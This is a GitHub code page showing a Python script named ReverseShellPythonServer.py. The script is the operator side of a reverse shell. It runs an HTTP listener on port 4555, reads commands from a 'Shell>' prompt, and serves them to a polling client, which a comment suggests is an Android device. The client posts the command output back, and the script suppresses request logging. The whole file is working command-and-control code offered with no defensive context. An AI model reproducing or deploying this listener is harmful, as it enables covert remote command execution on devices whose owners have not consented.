-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathReverseShellPythonServer.py
More file actions
53 lines (44 loc) · 1.66 KB
/
Copy pathReverseShellPythonServer.py
File metadata and controls
53 lines (44 loc) · 1.66 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from http.server import BaseHTTPRequestHandler, HTTPServer
import threading
PORT = 4555
shared_data = {"command": None, "response": None}
client_connected = threading.Event()
class ReverseShellHandler(BaseHTTPRequestHandler):
def log_message(self, format, *args):
return # suppress default logging
def do_GET(self):
client_ip = self.client_address[0]
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
if not client_connected.is_set():
print(f"[*] Client {client_ip} connected.")
client_connected.set()
if shared_data["command"]:
self.wfile.write(shared_data["command"].encode())
print(f"[→] Sent command: {shared_data['command']}")
shared_data["command"] = None
else:
self.wfile.write(b"")
def do_POST(self):
content_length = int(self.headers['Content-Length'])
response = self.rfile.read(content_length).decode()
print(f"[←] Response: {response}")
shared_data["response"] = response
self.send_response(200)
self.end_headers()
def command_loop():
while True:
cmd = input("Shell> ").strip()
if cmd:
shared_data["command"] = cmd
# Wait for response
while shared_data["command"] is not None:
pass # Wait until Android picks it up
def run():
server = HTTPServer(('', PORT), ReverseShellHandler)
print(f"[*] Starting server on port {PORT}...")
threading.Thread(target=command_loop, daemon=True).start()
server.serve_forever()
if __name__ == '__main__':
run()